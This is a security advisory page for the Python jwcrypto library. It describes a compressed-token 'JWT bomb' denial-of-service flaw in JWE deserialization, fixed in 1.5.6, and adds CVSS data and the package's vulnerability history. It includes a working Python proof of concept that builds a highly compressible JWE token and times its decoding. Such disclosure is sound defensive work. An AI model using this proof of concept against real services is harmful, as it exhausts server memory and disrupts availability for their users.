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JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

Publicada: 06.03.2024
Actualizado: 11.10.2026 15:17

Affected version

Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

Description

An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

Poc

python

from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))


payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">

Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

References

[1] CVE-2024-21319

Software afectado

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Plataforma	Paquete	Versiones vulnerables	Corregida en
Python (PyPI)	jwcrypto	< 1.5.6	1.5.6

Referencias

Puntuación CVSS 6.8/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
Debilidad (CWE): CWE-770
Plataforma: Python (PyPI)
Paquete: jwcrypto
Publicada: 06.03.2024
Actualizado: 11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1484 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-j857-7rvv-vj97 - CC BY 4.0

Historial de vulnerabilidades: jwcrypto

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 5
Primera → última: 09.2016 04.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Media 5

Divulgaciones por año

2017: 0
2018: 0
2019: 0
2020: 0
2021: 0
2022: 1
2023: 1
2024: 1
2025: 0
2026: 1

antes: 1

07.04.2026

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06.03.2024

JWCrypto vulnerable to JWT bomb Attack in `deserialize` function esta entrada

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28.12.2023

A vulnerability was found in JWCrypto. This flaw allows an attacker to cause a denial of service (DoS) attack and possible password brute-force and dictionary attacks to be more resource-intensive. Th

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21.09.2022

jwcrypto token substitution can lead to authentication bypass

Media CVE-2022-3102 < 1.4 1.4
01.09.2016

The _Rsa15 class in the RSA 1.5 algorithm implementation in jwa.py in jwcrypto before 0.3.2 lacks the Random Filling protection mechanism, which makes it easier for remote attackers to obtain cleartex

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